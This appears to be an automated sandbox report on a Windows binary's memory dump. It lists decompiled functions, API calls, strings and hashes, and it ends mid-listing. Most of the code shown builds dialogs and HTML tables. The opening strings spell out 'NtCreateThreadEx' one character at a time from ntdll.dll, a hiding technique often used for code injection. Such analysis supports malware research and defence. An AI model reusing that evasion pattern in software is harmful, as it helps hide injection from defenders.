a, xrefs: 0040A253
t, xrefs: 0040A223
N, xrefs: 0040A21F
e, xrefs: 0040A227
h, xrefs: 0040A25B
d, xrefs: 0040A23F
ntdll.dll, xrefs: 0040A1FA
r, xrefs: 0040A243
a, xrefs: 0040A22B
E, xrefs: 0040A247
T, xrefs: 0040A257

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: C$E$N$T$a$a$d$e$e$e$h$ntdll.dll$r$r$t$t$x
API String ID: 2574300362-1257427173
Opcode ID: 7c4b767998ad850fb5a7cf24f594afd5e084a11fa120f3cae330cd392d2e2909
Instruction ID: 28a3addb3bc40b583479f690f9d6e65064931713b616a12c977b5f47a4008353
Opcode Fuzzy Hash: 7c4b767998ad850fb5a7cf24f594afd5e084a11fa120f3cae330cd392d2e2909
Instruction Fuzzy Hash: 08110A2090C6C9EDEB12C7FCC40879EBEF15B26709F0881ECC585B6292C6BA5758C776

Uniqueness

Uniqueness Score: -1.00%

Function 00407F8D, Relevance: 33.1, APIs: 22, Instructions: 137
windowCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00407F8D(void* __eax) {
				struct _SHFILEINFOW _v692;
				void _v1214;
				short _v1216;
				void* _v1244;
				void* _v1248;
				void* _v1252;
				void* _v1256;
				void* _v1268;
				void* _t37;
				long _t38;
				long _t46;
				long _t48;
				long _t58;
				void* _t62;
				intOrPtr* _t64;

				_t64 = ImageList_Create;
				_t62 = __eax;
				if( *((intOrPtr*)(__eax + 0x2b4)) != 0) {
					if( *((intOrPtr*)(__eax + 0x2bc)) == 0) {
						_t48 = ImageList_Create(0x10, 0x10, 0x19, 1, 1);
						 *(_t62 + 0x2a8) = _t48;
						__imp__ImageList_SetImageCount(_t48, 0);
						_push( *(_t62 + 0x2a8));
					} else {
						_v692.hIcon = 0;
						memset( &(_v692.iIcon), 0, 0x2b0);
						_v1216 = 0;
						memset( &_v1214, 0, 0x208);
						GetWindowsDirectoryW( &_v1216, 0x104);
						_t58 = SHGetFileInfoW( &_v1216, 0,  &_v692, 0x2b4, 0x4001);
						 *(_t62 + 0x2a8) = _t58;
						_push(_t58);
					}
					SendMessageW( *(_t62 + 0x2a0), 0x1003, 1, ??);
				}
				if( *((intOrPtr*)(_t62 + 0x2b8)) != 0) {
					_t46 =  *_t64(0x20, 0x20, 0x19, 1, 1);
					 *(_t62 + 0x2ac) = _t46;
					__imp__ImageList_SetImageCount(_t46, 0);
					SendMessageW( *(_t62 + 0x2a0), 0x1003, 0,  *(_t62 + 0x2ac));
				}
				 *(_t62 + 0x2a4) =  *_t64(0x10, 0x10, 0x19, 1, 1);
				_v1248 = LoadImageW(GetModuleHandleW(0), 0x85, 0, 0x10, 0x10, 0x1000);
				_t37 = LoadImageW(GetModuleHandleW(0), 0x86, 0, 0x10, 0x10, 0x1000);
				_v1244 = _t37;
				__imp__ImageList_SetImageCount( *(_t62 + 0x2a4), 0);
				_t38 = GetSysColor(0xf);
				_v1248 = _t38;
				ImageList_AddMasked( *(_t62 + 0x2a4), _v1256, _t38);
				ImageList_AddMasked( *(_t62 + 0x2a4), _v1252, _v1248);
				DeleteObject(_v1268);
				DeleteObject(_v1268);
				return SendMessageW(E0040331D( *(_t62 + 0x2a0)), 0x1208, 0,  *(_t62 + 0x2a4));
			}

0x00407f9b
0x00407fa3
0x00407fad
0x00407fb9
0x0040802e
0x00408032
0x00408038
0x0040803e
0x00407fbb
0x00407fc9
0x00407fd0
0x00407fe0
0x00407fe5
0x00407ff7
0x00408015
0x0040801b
0x00408021
0x00408021
0x00408051
0x00408051
0x00408059
0x00408065
0x00408069
0x0040806f
0x00408087
0x00408087
0x0040809c
0x004080bb
0x004080d1
0x004080de
0x004080e2
0x004080ea
0x004080fb
0x00408105
0x00408115
0x00408121
0x00408127
0x00408150

APIs

memset.MSVCRT ref: 00407FD0
memset.MSVCRT ref: 00407FE5
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00407FF7
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 00408015
ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 0040802E
ImageList_SetImageCount.COMCTL32(00000000,00000000), ref: 00408038
SendMessageW.USER32(?,00001003,00000001,?), ref: 00408051
ImageList_Create.COMCTL32(00000020,00000020,00000019,00000001,00000001), ref: 00408065
ImageList_SetImageCount.COMCTL32(00000000,00000000), ref: 0040806F
SendMessageW.USER32(?,00001003,00000000,?), ref: 00408087
ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 00408093
GetModuleHandleW.KERNEL32(00000000), ref: 004080A2
LoadImageW.USER32 ref: 004080B4
GetModuleHandleW.KERNEL32(00000000), ref: 004080BF
LoadImageW.USER32 ref: 004080D1
ImageList_SetImageCount.COMCTL32(?,00000000), ref: 004080E2
GetSysColor.USER32(0000000F), ref: 004080EA
ImageList_AddMasked.COMCTL32(?,00000000,00000000), ref: 00408105
ImageList_AddMasked.COMCTL32(?,?,?), ref: 00408115
DeleteObject.GDI32(?), ref: 00408121
DeleteObject.GDI32(?), ref: 00408127
SendMessageW.USER32(00000000,00001208,00000000,?), ref: 00408144

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Image$List_$CountCreateMessageSend$DeleteHandleLoadMaskedModuleObjectmemset$ColorDirectoryFileInfoWindows
String ID:
API String ID: 304928396-0
Opcode ID: d4ab9f05862d1af7c7dd0e0dd7fd39e91fe05cdd650fdb134c44776c28691368
Instruction ID: fc02d650de5297a4f4a3b2912da131a5170d4a501b91b7a2a94f7b4638737e48
Opcode Fuzzy Hash: d4ab9f05862d1af7c7dd0e0dd7fd39e91fe05cdd650fdb134c44776c28691368
Instruction Fuzzy Hash: 8F418971640304FFE6306B61DD8AF977BACFF89B00F00092DB795A51D1DAB55450DB29

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE90, Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0040AE90(void* __esi, wchar_t* _a4, wchar_t* _a8) {
				int _v8;
				void _v518;
				long _v520;
				void _v1030;
				char _v1032;
				intOrPtr _t32;
				wchar_t* _t57;
				void* _t58;
				void* _t59;
				void* _t60;

				_t58 = __esi;
				_v520 = 0;
				memset( &_v518, 0, 0x1fc);
				_v1032 = 0;
				memset( &_v1030, 0, 0x1fc);
				_t60 = _t59 + 0x18;
				_v8 = 1;
				if( *((intOrPtr*)(__esi + 4)) == 0xffffffff &&  *((intOrPtr*)(__esi + 8)) <= 0) {
					_v8 = 0;
				}
				_t57 = _a4;
				 *_t57 = 0;
				if(_v8 != 0) {
					wcscpy(_t57, L"<font");
					_t32 =  *((intOrPtr*)(_t58 + 8));
					if(_t32 > 0) {
						_push(_t32);
						_push(L" size=\"%d\"");
						_push(0xff);
						_push( &_v520);
						L0040B1EC();
						wcscat(_t57,  &_v520);
						_t60 = _t60 + 0x18;
					}
					_t33 =  *((intOrPtr*)(_t58 + 4));
					if( *((intOrPtr*)(_t58 + 4)) != 0xffffffff) {
						_push(E0040ADC0(_t33,  &_v1032));
						_push(L" color=\"#%s\"");
						_push(0xff);
						_push( &_v520);
						L0040B1EC();
						wcscat(_t57,  &_v520);
					}
					wcscat(_t57, ">");
				}
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					wcscat(_t57, L"<b>");
				}
				wcscat(_t57, _a8);
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					wcscat(_t57, L"</b>");
				}
				if(_v8 != 0) {
					wcscat(_t57, L"</font>");
				}
				return _t57;
			}

0x0040ae90
0x0040aeab
0x0040aeb2
0x0040aec0
0x0040aec7
0x0040aecc
0x0040aed3
0x0040aeda
0x0040aee1
0x0040aee1
0x0040aee7
0x0040aeea
0x0040aeed
0x0040aef9
0x0040aefe
0x0040af05
0x0040af07
0x0040af08
0x0040af13
0x0040af18
0x0040af19
0x0040af26
0x0040af2b
0x0040af2b
0x0040af2e
0x0040af34
0x0040af43
0x0040af44
0x0040af4f
0x0040af54
0x0040af55
0x0040af62
0x0040af67
0x0040af70
0x0040af76
0x0040af7a
0x0040af82
0x0040af88
0x0040af8d
0x0040af97
0x0040af9f
0x0040afa5
0x0040afa9
0x0040afb1
0x0040afb7
0x0040afbd

APIs

memset.MSVCRT ref: 0040AEB2
memset.MSVCRT ref: 0040AEC7
wcscpy.MSVCRT ref: 0040AEF9
_snwprintf.MSVCRT ref: 0040AF19
wcscat.MSVCRT ref: 0040AF26
_snwprintf.MSVCRT ref: 0040AF55
wcscat.MSVCRT ref: 0040AF62
wcscat.MSVCRT ref: 0040AF70
wcscat.MSVCRT ref: 0040AF82
wcscat.MSVCRT ref: 0040AF8D
wcscat.MSVCRT ref: 0040AF9F
wcscat.MSVCRT ref: 0040AFB1

Strings

</font>, xrefs: 0040AFAB
<font, xrefs: 0040AEF3
<b>, xrefs: 0040AF7C
size="%d", xrefs: 0040AF08
</b>, xrefs: 0040AF99
color="#%s", xrefs: 0040AF44

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$_snwprintfmemset$wcscpy
String ID: color="#%s"$ size="%d"$</b>$</font>$<b>$<font
API String ID: 3143752011-1996832678
Opcode ID: 330f77f369881cb7aaffb2d4d29cef926f955dd174757b27785871b236def110
Instruction ID: 2e7f7f44a8c08f278b605cd2082ab28bfbf3198b566a778c3f72e8233e5ba29a
Opcode Fuzzy Hash: 330f77f369881cb7aaffb2d4d29cef926f955dd174757b27785871b236def110
Instruction Fuzzy Hash: 2531C6B2904306A9D720EAA59D86E7E73BCDF40714F10807FF214B61C2DB7C9944D69D

Uniqueness

Uniqueness Score: -1.00%

Function 00403C03, Relevance: 30.2, APIs: 20, Instructions: 235
windowCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00403C03(void* __eflags) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* _t88;
				void* _t108;
				void* _t113;
				void* _t119;
				void* _t121;
				void* _t122;
				void* _t123;
				intOrPtr* _t124;
				void* _t134;

				_t113 = _t108;
				E00403B3C(_t113);
				E00403B16(_t113);
				DragAcceptFiles( *(_t113 + 0x10), 1);
				 *0x40f2f0 = SetWindowLongW(GetDlgItem( *(_t113 + 0x10), 0x3fd), 0xfffffffc, E00403A73);
				E00402DDD( *(_t113 + 0x10), _t113 + 0x40);
				 *(_t124 + 0x14) = LoadImageW(GetModuleHandleW(0), 0x65, 1, 0x10, 0x10, 0);
				 *((intOrPtr*)(_t124 + 0x24)) = LoadImageW(GetModuleHandleW(0), 0x65, 1, 0x20, 0x20, 0);
				SendMessageW( *(_t113 + 0x10), 0x80, 0,  *(_t124 + 0x10));
				SendMessageW( *(_t113 + 0x10), 0x80, 1,  *(_t124 + 0x14));
				E0040AD85(GetDlgItem( *(_t113 + 0x10), 0x402));
				 *_t124 = 0x3ea;
				E0040AD85(GetDlgItem(??, ??));
				 *_t124 = 0x3f1;
				_t116 = GetDlgItem( *(_t113 + 0x10),  *(_t113 + 0x10));
				E004049D9(_t49, E00405B81(0x259), 0x20);
				E004049D9(_t49, E00405B81(0x25a), 0x40);
				E004049D9(_t116, E00405B81(0x25b), 0x80);
				E004049D9(_t116, E00405B81(0x25c), 0x100);
				E004049D9(_t116, E00405B81(0x25d), 0x4000);
				E004049D9(_t116, E00405B81(0x25e), 0x8000);
				_t117 = GetDlgItem( *(_t113 + 0x10), 0x3f5);
				E004049D9(_t62, E00405B81(0x26c), 0);
				E004049D9(_t62, E00405B81(0x26d), 1);
				E004049D9(_t117, E00405B81(0x26e), 2);
				E004049D9(_t117, E00405B81(0x26f), 3);
				_t134 = _t124 + 0x78;
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x400);
				_t119 = 1;
				do {
					_t17 = _t119 + 0x280; // 0x281
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t17), _t119);
					_t134 = _t134 + 0xc;
					_t119 = _t119 + 1;
				} while (_t119 <= 9);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x3fc);
				_t121 = 1;
				do {
					_t21 = _t121 + 0x294; // 0x295
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t21), _t121);
					_t134 = _t134 + 0xc;
					_t121 = _t121 + 1;
				} while (_t121 <= 3);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x407);
				_t122 = 0;
				do {
					_t25 = _t122 + 0x2bc; // 0x2bc
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t25), _t122);
					_t134 = _t134 + 0xc;
					_t122 = _t122 + 1;
				} while (_t122 <= 0xd);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x40c);
				_t123 = 0;
				do {
					_t29 = _t123 + 0x2ee; // 0x2ee
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t29), _t123);
					_t134 = _t134 + 0xc;
					_t123 = _t123 + 1;
					_t143 = _t123 - 3;
				} while (_t123 < 3);
				SendDlgItemMessageW( *(_t113 + 0x10), 0x3fd, 0xc5, 0, 0);
				E00403EC3(GetDlgItem, _t113);
				SetFocus(GetDlgItem( *(_t113 + 0x10), 0x402));
				_t88 = E00402D78(_t113, _t143);
				E00402BEE(_t113);
				return _t88;
			}

0x00403c09
0x00403c0c
0x00403c11
0x00403c1b
0x00403c3f
0x00403c4a
0x00403c6e
0x00403c96
0x00403c9a
0x00403ca6
0x00403cb3
0x00403cb8
0x00403cc5
0x00403cca
0x00403cdd
0x00403ce6
0x00403cf8
0x00403d11
0x00403d26
0x00403d3f
0x00403d54
0x00403d6d
0x00403d76
0x00403d88
0x00403d9e
0x00403db0
0x00403db5
0x00403dc4
0x00403dc8
0x00403dc9
0x00403dca
0x00403dda
0x00403ddf
0x00403de2
0x00403de3
0x00403df4
0x00403df8
0x00403df9
0x00403dfa
0x00403e0a
0x00403e0f
0x00403e12
0x00403e13
0x00403e22
0x00403e26
0x00403e28
0x00403e29
0x00403e39
0x00403e3e
0x00403e41
0x00403e42
0x00403e51
0x00403e55
0x00403e57
0x00403e58
0x00403e68
0x00403e6d
0x00403e70
0x00403e71
0x00403e71
0x00403e87
0x00403e8d
0x00403e9e
0x00403ea6
0x00403eaf
0x00403ebc

APIs

Part of subcall function 00403B3C: memset.MSVCRT ref: 00403B5D
Part of subcall function 00403B3C: memset.MSVCRT ref: 00403B76
Part of subcall function 00403B3C: _snwprintf.MSVCRT ref: 00403B9F

Part of subcall function 00403B16: SetDlgItemTextW.USER32 ref: 00403B34

DragAcceptFiles.SHELL32(?,00000001), ref: 00403C1B
GetDlgItem.USER32 ref: 00403C2F
SetWindowLongW.USER32 ref: 00403C39

Part of subcall function 00402DDD: GetClientRect.USER32 ref: 00402DEF
Part of subcall function 00402DDD: GetWindow.USER32(?,00000005), ref: 00402E07
Part of subcall function 00402DDD: GetWindow.USER32(00000000), ref: 00402E0A
Part of subcall function 00402DDD: GetWindow.USER32(00000000,00000002), ref: 00402E16

GetModuleHandleW.KERNEL32(00000000), ref: 00403C57
LoadImageW.USER32 ref: 00403C6A
GetModuleHandleW.KERNEL32(00000000), ref: 00403C72
LoadImageW.USER32 ref: 00403C7F
SendMessageW.USER32(?,00000080,00000000,?), ref: 00403C9A
SendMessageW.USER32(?,00000080,00000001,?), ref: 00403CA6
GetDlgItem.USER32 ref: 00403CB0

Part of subcall function 0040AD85: GetProcAddress.KERNEL32(00000000,shlwapi.dll), ref: 0040AD9D
Part of subcall function 0040AD85: FreeLibrary.KERNEL32(00000000,?,00403CB8,00000000), ref: 0040ADB5

GetDlgItem.USER32 ref: 00403CC2
GetDlgItem.USER32 ref: 00403CD4

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 004049D9: SendMessageW.USER32(?,00000143,00000000,?), ref: 004049F0
Part of subcall function 004049D9: SendMessageW.USER32(?,00000151,00000000,?), ref: 00404A02

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

GetDlgItem.USER32 ref: 00403D64
GetDlgItem.USER32 ref: 00403DC0
GetDlgItem.USER32 ref: 00403DF0
GetDlgItem.USER32 ref: 00403E20
GetDlgItem.USER32 ref: 00403E4F
SendDlgItemMessageW.USER32 ref: 00403E87
GetDlgItem.USER32 ref: 00403E9B
SetFocus.USER32(00000000), ref: 00403E9E

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$MessageSend$HandleModuleWindow$Load$Imagememset$AcceptAddressClientDragFilesFocusFreeLibraryLongProcRectStringText_snwprintfmemcpywcscpywcslen
String ID:
API String ID: 1038210931-0
Opcode ID: 480d4766e6d8641b1262395da53219e72a248241b0e6c98f945c6f60a0780f3c
Instruction ID: 1ad7597cb923a57af30b7376ae6fce15a7391ca9e5b6ac25faa2013acf12c195
Opcode Fuzzy Hash: 480d4766e6d8641b1262395da53219e72a248241b0e6c98f945c6f60a0780f3c
Instruction Fuzzy Hash: D261A6B09407087FE6207F71DC47F2B7A6CEF40714F000A3ABB46751D3DABA69158A59

Uniqueness

Uniqueness Score: -1.00%

Function 00407763, Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00407763(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void _v138;
				long _v140;
				void _v242;
				char _v244;
				void _v346;
				char _v348;
				void _v452;
				void _v962;
				signed short _v964;
				void* __esi;
				void* _t87;
				wchar_t* _t109;
				intOrPtr* _t124;
				signed int _t125;
				signed int _t140;
				signed int _t153;
				intOrPtr* _t154;
				signed int _t156;
				signed int _t157;
				void* _t159;
				void* _t161;

				_t124 = __ebx;
				_v964 = _v964 & 0x00000000;
				memset( &_v962, 0, 0x1fc);
				_t125 = 0x18;
				memcpy( &_v452, L"<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s\r\n", _t125 << 2);
				asm("movsw");
				_t153 = 0;
				_v244 = 0;
				memset( &_v242, 0, 0x62);
				_v348 = 0;
				memset( &_v346, 0, 0x62);
				_v140 = 0;
				memset( &_v138, 0, 0x62);
				_t161 = _t159 + 0x3c;
				_t87 =  *((intOrPtr*)( *__ebx + 0x14))();
				_v16 =  *((intOrPtr*)(__ebx + 0x2d4));
				if(_t87 != 0xffffffff) {
					_push(E0040ADC0(_t87,  &_v964));
					_push(L" bgcolor=\"%s\"");
					_push(0x32);
					_push( &_v244);
					L0040B1EC();
					_t161 = _t161 + 0x18;
				}
				E00407343(_t124, _a4, L"<table border=\"1\" cellpadding=\"5\">\r\n");
				_v8 = _t153;
				if( *((intOrPtr*)(_t124 + 0x2c)) > _t153) {
					while(1) {
						_t156 =  *( *((intOrPtr*)(_t124 + 0x30)) + _v8 * 4);
						_v12 = _t156;
						_t157 = _t156 * 0x14;
						if( *((intOrPtr*)(_t157 +  *((intOrPtr*)(_t124 + 0x40)) + 8)) != _t153) {
							wcscpy( &_v140, L" nowrap");
						}
						_v32 = _v32 | 0xffffffff;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _t153;
						_t154 = _a8;
						 *((intOrPtr*)( *_t124 + 0x34))(6, _v8, _t154,  &_v32);
						E0040ADC0(_v32,  &_v348);
						E0040ADF1( *((intOrPtr*)( *_t154))(_v12,  *((intOrPtr*)(_t124 + 0x60))),  *(_t124 + 0x64));
						 *((intOrPtr*)( *_t124 + 0x50))( *(_t124 + 0x64), _t154, _v12);
						if( *((intOrPtr*)( *_t124 + 0x18))() == 0xffffffff) {
							wcscpy( *(_t124 + 0x68),  *(_t157 + _v16 + 0x10));
						} else {
							_push( *(_t157 + _v16 + 0x10));
							_push(E0040ADC0(_t106,  &_v964));
							_push(L"<font color=\"%s\">%s</font>");
							_push(0x2000);
							_push( *(_t124 + 0x68));
							L0040B1EC();
							_t161 = _t161 + 0x14;
						}
						_t109 =  *(_t124 + 0x64);
						_t140 =  *_t109 & 0x0000ffff;
						if(_t140 == 0 || _t140 == 0x20) {
							wcscat(_t109, L"&nbsp;");
						}
						E0040AE90( &_v32,  *((intOrPtr*)(_t124 + 0x6c)),  *(_t124 + 0x64));
						_push( *((intOrPtr*)(_t124 + 0x6c)));
						_push( &_v140);
						_push( &_v348);
						_push( *(_t124 + 0x68));
						_push( &_v244);
						_push( &_v452);
						_push(0x2000);
						_push( *((intOrPtr*)(_t124 + 0x60)));
						L0040B1EC();
						_t161 = _t161 + 0x28;
						E00407343(_t124, _a4,  *((intOrPtr*)(_t124 + 0x60)));
						_v8 = _v8 + 1;
						if(_v8 >=  *((intOrPtr*)(_t124 + 0x2c))) {
							goto L14;
						}
						_t153 = 0;
					}
				}
				L14:
				E00407343(_t124, _a4, L"</table><p>");
				return E00407343(_t124, _a4, L"\r\n");
			}

0x00407763
0x0040776c
0x00407784
0x0040778b
0x00407797
0x00407799
0x0040779b
0x004077a7
0x004077ae
0x004077bd
0x004077c4
0x004077d3
0x004077da
0x004077e1
0x004077e6
0x004077f2
0x004077f5
0x00407804
0x00407805
0x00407810
0x00407812
0x00407813
0x00407818
0x00407818
0x00407825
0x0040782d
0x00407830
0x0040783a
0x00407840
0x00407846
0x00407849
0x00407850
0x0040785e
0x00407864
0x00407867
0x0040786b
0x0040786f
0x00407877
0x0040787a
0x00407885
0x00407892
0x004078a8
0x004078b8
0x004078c5
0x004078ff
0x004078c7
0x004078ca
0x004078dd
0x004078de
0x004078e3
0x004078e8
0x004078eb
0x004078f0
0x004078f0
0x00407906
0x00407909
0x0040790f
0x0040791d
0x00407923
0x0040792d
0x00407932
0x0040793b
0x00407942
0x00407943
0x0040794c
0x00407953
0x00407954
0x00407959
0x0040795c
0x00407961
0x0040796c
0x00407971
0x0040797a
0x00000000
0x00000000
0x00407838
0x00407838
0x0040783a
0x00407980
0x0040798a
0x004079a1

APIs

memset.MSVCRT ref: 00407784
memset.MSVCRT ref: 004077AE
memset.MSVCRT ref: 004077C4
memset.MSVCRT ref: 004077DA
_snwprintf.MSVCRT ref: 00407813
wcscpy.MSVCRT ref: 0040785E
_snwprintf.MSVCRT ref: 004078EB
wcscat.MSVCRT ref: 0040791D

Part of subcall function 0040ADC0: _snwprintf.MSVCRT ref: 0040ADE4

wcscpy.MSVCRT ref: 004078FF
_snwprintf.MSVCRT ref: 0040795C

Strings

</table><p>, xrefs: 00407980
<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s, xrefs: 0040778C
<font color="%s">%s</font>, xrefs: 004078DE
<table border="1" cellpadding="5">, xrefs: 0040781B
bgcolor="%s", xrefs: 00407805
nowrap, xrefs: 00407858
 , xrefs: 00407917

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfmemset$wcscpy$wcscat
String ID: bgcolor="%s"$ nowrap$ $</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
API String ID: 1607361635-601624466
Opcode ID: 79dd95c05abc82e9b2e709e2cd57865f98d2b899bba57f456d4bed9a2e0af9fd
Instruction ID: c59e53cc54c64df10e6b193e6b6ea7c08fa255db16bc08a9aa92b01e8cbfba7b
Opcode Fuzzy Hash: 79dd95c05abc82e9b2e709e2cd57865f98d2b899bba57f456d4bed9a2e0af9fd
Instruction Fuzzy Hash: C8618E31940208EFDF14AF95CC85EAE7B79FF44310F1041AAF905BA2D2DB34AA54DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00407B5D, Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00407B5D(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, char _a16, char _a20, intOrPtr _a24) {
				void _v514;
				char _v516;
				void _v1026;
				long _v1028;
				void _v1538;
				char _v1540;
				void _v2050;
				char _v2052;
				char _v2564;
				char _v35332;
				char _t51;
				intOrPtr* _t54;
				void* _t61;
				intOrPtr* _t73;
				void* _t78;
				void* _t79;
				void* _t80;
				void* _t81;

				E0040B550(0x8a00, __ecx);
				_v2052 = 0;
				memset( &_v2050, 0, 0x1fc);
				_v1540 = 0;
				memset( &_v1538, 0, 0x1fc);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fc);
				_t79 = _t78 + 0x24;
				if(_a20 != 0xffffffff) {
					_push(E0040ADC0(_a20,  &_v2564));
					_push(L" bgcolor=\"%s\"");
					_push(0xff);
					_push( &_v2052);
					L0040B1EC();
					_t79 = _t79 + 0x18;
				}
				if(_a24 != 0xffffffff) {
					_push(E0040ADC0(_a24,  &_v2564));
					_push(L"<font color=\"%s\">");
					_push(0xff);
					_push( &_v1540);
					L0040B1EC();
					wcscpy( &_v1028, L"</font>");
					_t79 = _t79 + 0x20;
				}
				_push( &_v2052);
				_push(L"<table border=\"1\" cellpadding=\"5\"><tr%s>\r\n");
				_push(0x3fff);
				_push( &_v35332);
				L0040B1EC();
				_t80 = _t79 + 0x10;
				E00407343(_a4, _a8,  &_v35332);
				_t51 = _a16;
				if(_t51 > 0) {
					_t73 = _a12 + 4;
					_a20 = _t51;
					do {
						_v516 = 0;
						memset( &_v514, 0, 0x1fc);
						_t54 =  *_t73;
						_t81 = _t80 + 0xc;
						if( *_t54 == 0) {
							_v516 = 0;
						} else {
							_push(_t54);
							_push(L" width=\"%s\"");
							_push(0xff);
							_push( &_v516);
							L0040B1EC();
							_t81 = _t81 + 0x10;
						}
						_push( &_v1028);
						_push( *((intOrPtr*)(_t73 - 4)));
						_push( &_v1540);
						_push( &_v516);
						_push(L"<th%s>%s%s%s\r\n");
						_push(0x3fff);
						_push( &_v35332);
						L0040B1EC();
						_t80 = _t81 + 0x1c;
						_t61 = E00407343(_a4, _a8,  &_v35332);
						_t73 = _t73 + 8;
						_t36 =  &_a20;
						 *_t36 = _a20 - 1;
					} while ( *_t36 != 0);
					return _t61;
				}
				return _t51;
			}

0x00407b65
0x00407b7c
0x00407b83
0x00407b91
0x00407b98
0x00407ba6
0x00407bad
0x00407bb2
0x00407bb9
0x00407bca
0x00407bcb
0x00407bd6
0x00407bdb
0x00407bdc
0x00407be1
0x00407be1
0x00407be8
0x00407bf9
0x00407bfa
0x00407c05
0x00407c0a
0x00407c0b
0x00407c1c
0x00407c21
0x00407c21
0x00407c2a
0x00407c2b
0x00407c36
0x00407c3b
0x00407c3c
0x00407c41
0x00407c51
0x00407c56
0x00407c5b
0x00407c65
0x00407c68
0x00407c6b
0x00407c74
0x00407c7b
0x00407c80
0x00407c82
0x00407c88
0x00407ca6
0x00407c8a
0x00407c8a
0x00407c8b
0x00407c96
0x00407c9b
0x00407c9c
0x00407ca1
0x00407ca1
0x00407cb3
0x00407cb4
0x00407cbd
0x00407cc4
0x00407cc5
0x00407cd0
0x00407cd5
0x00407cd6
0x00407cdb
0x00407ceb
0x00407cf0
0x00407cf3
0x00407cf3
0x00407cf3
0x00000000
0x00407cfc
0x00407d00

APIs

memset.MSVCRT ref: 00407B83
memset.MSVCRT ref: 00407B98
memset.MSVCRT ref: 00407BAD
